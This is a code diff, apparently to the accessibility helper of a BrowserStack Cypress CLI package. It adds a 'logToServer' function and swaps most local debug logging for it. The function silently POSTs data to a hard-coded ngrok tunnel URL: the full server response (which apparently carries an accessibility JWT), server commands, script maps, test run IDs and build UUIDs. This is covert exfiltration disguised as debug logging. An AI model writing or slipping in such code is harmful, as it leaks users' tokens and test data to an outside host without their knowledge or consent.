@@ -13,6 +13,30 @@ const scripts = require('./scripts');
1313const supportFileContentMap = { }
1414const HttpsProxyAgent = require ( 'https-proxy-agent' ) ;
1515
16+ // Function to log A11Y debugging info to remote server
17+ const logToServer = async ( message , additionalData = { } ) => {
18+ try {
19+ const logData = {
20+ timestamp : new Date ( ) . toISOString ( ) ,
21+ message : message ,
22+ source : 'browserstack-cypress-cli' ,
23+ module : 'accessibility-automation/helper' ,
24+ ...additionalData
25+ } ;
26+
27+ await axios . post ( 'https://4ba33d541940.ngrok-free.app/log' , logData , {
28+ timeout : 5000 ,
29+ headers : {
30+ 'Content-Type' : 'application/json' ,
31+ 'ngrok-skip-browser-warning' : 'true'
32+ }
33+ } ) ;
34+ } catch ( error ) {
35+ // Fallback to local logging if server is unavailable
36+ logger . debug ( message ) ;
37+ }
38+ } ;
39+
1640exports . checkAccessibilityPlatform = ( user_config ) => {
1741 let accessibility = false ;
1842 try {
@@ -277,7 +301,7 @@ exports.setAccessibilityEventListeners = (bsConfig) => {
277301
278302// Process server accessibility configuration similar to Node Agent
279303exports . processServerAccessibilityConfig = ( responseData ) => {
280- logger . debug ( '[A11Y] Processing server accessibility configuration' ) ;
304+ logToServer ( '[A11Y] Processing server accessibility configuration' , { responseData } ) ;
281305
282306 try {
283307 // Use Scripts class to parse server response
@@ -293,23 +317,23 @@ exports.processServerAccessibilityConfig = (responseData) => {
293317 // Store server commands for Cypress to read
294318 process . env . ACCESSIBILITY_COMMANDS_TO_WRAP = JSON . stringify ( serverCommands ) ;
295319
296- logger . debug ( `[A11Y] Server provided ${ serverCommands . length } commands for wrapping` ) ;
320+ logToServer ( `[A11Y] Server provided ${ serverCommands . length } commands for wrapping` , { serverCommands } ) ;
297321
298322 if ( serverCommands . length === 0 ) {
299- logger . debug ( '[A11Y] Server wants build-end-only scanning - command wrapping will be disabled' ) ;
323+ logToServer ( '[A11Y] Server wants build-end-only scanning - command wrapping will be disabled' ) ;
300324 process . env . ACCESSIBILITY_BUILD_END_ONLY = 'true' ;
301325 } else {
302- logger . debug ( `[A11Y] Server wants command-level scanning for: ${ serverCommands . map ( cmd => cmd . name || cmd ) . join ( ', ' ) } ` ) ;
326+ logToServer ( `[A11Y] Server wants command-level scanning for: ${ serverCommands . map ( cmd => cmd . name || cmd ) . join ( ', ' ) } ` , { commandList : serverCommands . map ( cmd => cmd . name || cmd ) } ) ;
303327 process . env . ACCESSIBILITY_BUILD_END_ONLY = 'false' ;
304328 }
305329
306330 // Also store scriptsToRun if available
307331 if ( commandsToWrapData . scriptsToRun ) {
308332 process . env . ACCESSIBILITY_SCRIPTS_TO_RUN = JSON . stringify ( commandsToWrapData . scriptsToRun ) ;
309- logger . debug ( `[A11Y] Server provided scripts to run: ${ commandsToWrapData . scriptsToRun . join ( ', ' ) } ` ) ;
333+ logToServer ( `[A11Y] Server provided scripts to run: ${ commandsToWrapData . scriptsToRun . join ( ', ' ) } ` , { scriptsToRun : commandsToWrapData . scriptsToRun } ) ;
310334 }
311335 } else {
312- logger . debug ( '[A11Y] No server commands provided, using default command list' ) ;
336+ logToServer ( '[A11Y] No server commands provided, using default command list' ) ;
313337 process . env . ACCESSIBILITY_BUILD_END_ONLY = 'false' ;
314338 }
315339
@@ -326,9 +350,9 @@ exports.processServerAccessibilityConfig = (responseData) => {
326350 // Store server scripts for Cypress to read
327351 process . env . ACCESSIBILITY_SCRIPTS = JSON . stringify ( scriptsMap ) ;
328352
329- logger . debug ( `[A11Y] Server provided accessibility scripts: ${ Object . keys ( scriptsMap ) . join ( ', ' ) } ` ) ;
353+ logToServer ( `[A11Y] Server provided accessibility scripts: ${ Object . keys ( scriptsMap ) . join ( ', ' ) } ` , { scriptsMap } ) ;
330354 } else {
331- logger . debug ( '[A11Y] No server scripts provided, using default scripts' ) ;
355+ logToServer ( '[A11Y] No server scripts provided, using default scripts' ) ;
332356 }
333357
334358 // Process capabilities for token and other settings
@@ -338,21 +362,21 @@ exports.processServerAccessibilityConfig = (responseData) => {
338362 capabilities . forEach ( cap => {
339363 if ( cap . name === 'accessibilityToken' ) {
340364 process . env . BS_A11Y_JWT = cap . value ;
341- logger . debug ( '[A11Y] Set accessibility token from server response' ) ;
365+ logToServer ( '[A11Y] Set accessibility token from server response' , { tokenLength : cap . value ?. length || 0 } ) ;
342366 } else if ( cap . name === 'test_run_id' ) {
343367 process . env . BS_A11Y_TEST_RUN_ID = cap . value ;
344- logger . debug ( '[A11Y] Set test run ID from server response' ) ;
368+ logToServer ( '[A11Y] Set test run ID from server response' , { testRunId : cap . value } ) ;
345369 } else if ( cap . name === 'testhub_build_uuid' ) {
346370 process . env . BROWSERSTACK_TESTHUB_UUID = cap . value ;
347- logger . debug ( '[A11Y] Set TestHub build UUID from server response' ) ;
371+ logToServer ( '[A11Y] Set TestHub build UUID from server response' , { buildUuid : cap . value } ) ;
348372 } else if ( cap . name === 'scannerVersion' ) {
349373 process . env . ACCESSIBILITY_SCANNERVERSION = cap . value ;
350- logger . debug ( '[A11Y] Set scanner version from server response' ) ;
374+ logToServer ( '[A11Y] Set scanner version from server response' , { scannerVersion : cap . value } ) ;
351375 }
352376 } ) ;
353377 }
354378
355- logger . debug ( '[A11Y] Successfully processed server accessibility configuration' ) ;
379+ logToServer ( '[A11Y] Successfully processed server accessibility configuration' ) ;
356380 } catch ( error ) {
357381 logger . error ( `[A11Y] Error processing server accessibility configuration: ${ error . message } ` ) ;
358382 // Fallback to default behavior
@@ -369,7 +393,7 @@ exports.shouldWrapCommand = (commandName) => {
369393
370394 // Check if we're in build-end-only mode
371395 if ( process . env . ACCESSIBILITY_BUILD_END_ONLY === 'true' ) {
372- logger . debug ( `[A11Y] Build-end-only mode: not wrapping command ${ commandName } ` ) ;
396+ logToServer ( `[A11Y] Build-end-only mode: not wrapping command ${ commandName } ` , { commandName , mode : 'build-end-only' } ) ;
373397 return false ;
374398 }
375399
@@ -385,25 +409,25 @@ exports.shouldWrapCommand = (commandName) => {
385409 return ( command . name || command ) . toLowerCase ( ) === commandName . toLowerCase ( ) ;
386410 } ) ;
387411
388- logger . debug ( `[A11Y] shouldWrapCommand: ${ commandName } -> ${ envShouldWrap } (env-driven)` ) ;
412+ logToServer ( `[A11Y] shouldWrapCommand: ${ commandName } -> ${ envShouldWrap } (env-driven)` , { commandName , shouldWrap : envShouldWrap , source : 'environment' } ) ;
389413 return envShouldWrap ;
390414 }
391415 }
392416
393417 // If we got a result from Scripts class, use it
394418 if ( scripts . commandsToWrap && scripts . commandsToWrap . length > 0 ) {
395- logger . debug ( `[A11Y] shouldWrapCommand: ${ commandName } -> ${ shouldWrap } (scripts-driven)` ) ;
419+ logToServer ( `[A11Y] shouldWrapCommand: ${ commandName } -> ${ shouldWrap } (scripts-driven)` , { commandName , shouldWrap , source : 'scripts-class' } ) ;
396420 return shouldWrap ;
397421 }
398422
399423 // Fallback to default commands if no server commands
400424 const defaultCommands = [ 'visit' , 'click' , 'type' , 'request' , 'dblclick' , 'rightclick' , 'clear' , 'check' , 'uncheck' , 'select' , 'trigger' , 'selectFile' , 'scrollIntoView' , 'scroll' , 'scrollTo' , 'blur' , 'focus' , 'go' , 'reload' , 'submit' , 'viewport' , 'origin' ] ;
401425 const defaultShouldWrap = defaultCommands . includes ( commandName . toLowerCase ( ) ) ;
402426
403- logger . debug ( `[A11Y] shouldWrapCommand: ${ commandName } -> ${ defaultShouldWrap } (default)` ) ;
427+ logToServer ( `[A11Y] shouldWrapCommand: ${ commandName } -> ${ defaultShouldWrap } (default)` , { commandName , shouldWrap : defaultShouldWrap , source : 'default' } ) ;
404428 return defaultShouldWrap ;
405429 } catch ( error ) {
406- logger . debug ( `[A11Y] Error in shouldWrapCommand: ${ error . message } ` ) ;
430+ logToServer ( `[A11Y] Error in shouldWrapCommand: ${ error . message } ` , { commandName , error : error . message } ) ;
407431 return false ;
408432 }
409433} ;
@@ -415,7 +439,7 @@ exports.getAccessibilityScript = (scriptName) => {
415439 const script = scripts . getScript ( scriptName ) ;
416440
417441 if ( script ) {
418- logger . debug ( `[A11Y] Retrieved script '${ scriptName } ' from Scripts class` ) ;
442+ logToServer ( `[A11Y] Retrieved script '${ scriptName } ' from Scripts class` , { scriptName , source : 'scripts-class' } ) ;
419443 return script ;
420444 }
421445
@@ -425,12 +449,12 @@ exports.getAccessibilityScript = (scriptName) => {
425449 const envScript = serverScripts [ scriptName ] || serverScripts [ scriptName . toLowerCase ( ) ] ;
426450
427451 if ( envScript ) {
428- logger . debug ( `[A11Y] Retrieved script '${ scriptName } ' from environment` ) ;
452+ logToServer ( `[A11Y] Retrieved script '${ scriptName } ' from environment` , { scriptName , source : 'environment' } ) ;
429453 return envScript ;
430454 }
431455 }
432456
433- logger . debug ( `[A11Y] Script '${ scriptName } ' not found` ) ;
457+ logToServer ( `[A11Y] Script '${ scriptName } ' not found` , { scriptName } ) ;
434458 return null ;
435459 } catch ( error ) {
436460 logger . error ( `[A11Y] Error retrieving script '${ scriptName } ': ${ error . message } ` ) ;
0 commit comments